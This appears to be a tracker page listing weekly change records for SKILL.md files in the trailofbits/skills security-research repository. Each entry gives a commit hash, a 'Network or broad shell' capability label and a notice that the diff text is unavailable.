#183 by GitHub stars
trailofbits/skills
Trail of Bits skills for security research, vulnerability detection, and audit workflows
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/audit-context-building/skills/audit-context-building/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/cairo-vulnerability-scanner/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/code-maturity-assessor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/guidelines-advisor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/secure-workflow-guide/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/solana-vulnerability-scanner/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/substrate-vulnerability-scanner/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/token-integration-analyzer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/building-secure-contracts/skills/ton-vulnerability-scanner/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/burpsuite-project-parser/skills/burpsuite-project-parser/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/c-review/skills/c-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/chrome-mcp-troubleshooting/skills/chrome-mcp-troubleshooting/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/code-improver/skills/code-improver/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/code-improver/skills/pr-improver/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/code-improver/skills/skill-improver/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/code-improver/tests/fixtures/pr-review-toolkit/skills/review-pr/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/code-improver/tests/fixtures/review-panel/skills/panel-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/constant-time-analysis/skills/constant-time-analysis/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/culture-index/skills/interpreting-culture-index/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/cvss-scoring/skills/cvss-scoring/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e4dd0bb5b155
No earlier version was observed for comparison.
plugins/devcontainer-setup/skills/devcontainer-setup/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/differential-review/skills/differential-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/dimensional-analysis/skills/dimensional-analysis/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/dwarf-expert/skills/dwarf-expert/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/entry-point-analyzer/skills/entry-point-analyzer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/firebase-apk-scanner/skills/firebase-apk-scanner/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/fp-check/skills/fp-check/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/gh-cli/skills/gh-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/github-triage/skills/github-triage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/goal-prompt/skills/goal-prompt/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/let-fate-decide/skills/let-fate-decide/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/modern-cpp/skills/modern-cpp/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/modern-python/skills/modern-python/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/mutation-testing/skills/mutation-testing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/open-sourcing/skills/open-sourcing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/patching-bugs/skills/implement-patch/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/patching-bugs/skills/patching-bugs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/patching-bugs/skills/prove-patch/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/patching-bugs/skills/reproduce-bug/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/patching-bugs/skills/validate-bug/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/post-patch-validation/skills/post-patch-validation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/property-based-testing/skills/property-based-testing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/regression-hunt/skills/adjudicate-regression/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/regression-hunt/skills/hunt-regressions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/regression-hunt/skills/prepare-regression/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/regression-hunt/skills/regression-hunt/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/regression-hunt/skills/replay-regression/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/regression-hunt/skills/report-regressions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/regression-hunt/skills/reproduce-regression/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/review-walkthrough/skills/review-walkthrough/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/rust-review/skills/rust-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/second-opinion/skills/second-opinion/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/semgrep-rule-creator/skills/semgrep-rule-creator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/sharp-edges/skills/sharp-edges/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/spec-to-code-compliance/skills/spec-to-code-compliance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/static-analysis/skills/codeql/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/static-analysis/skills/sarif-parsing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/static-analysis/skills/semgrep/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/address-sanitizer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/aflpp/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/atheris/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/cargo-fuzz/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/constant-time-testing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/coverage-analysis/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/fuzzing-dictionary/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/fuzzing-obstacles/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/harness-writing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/libafl/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/libfuzzer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/ossfuzz/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
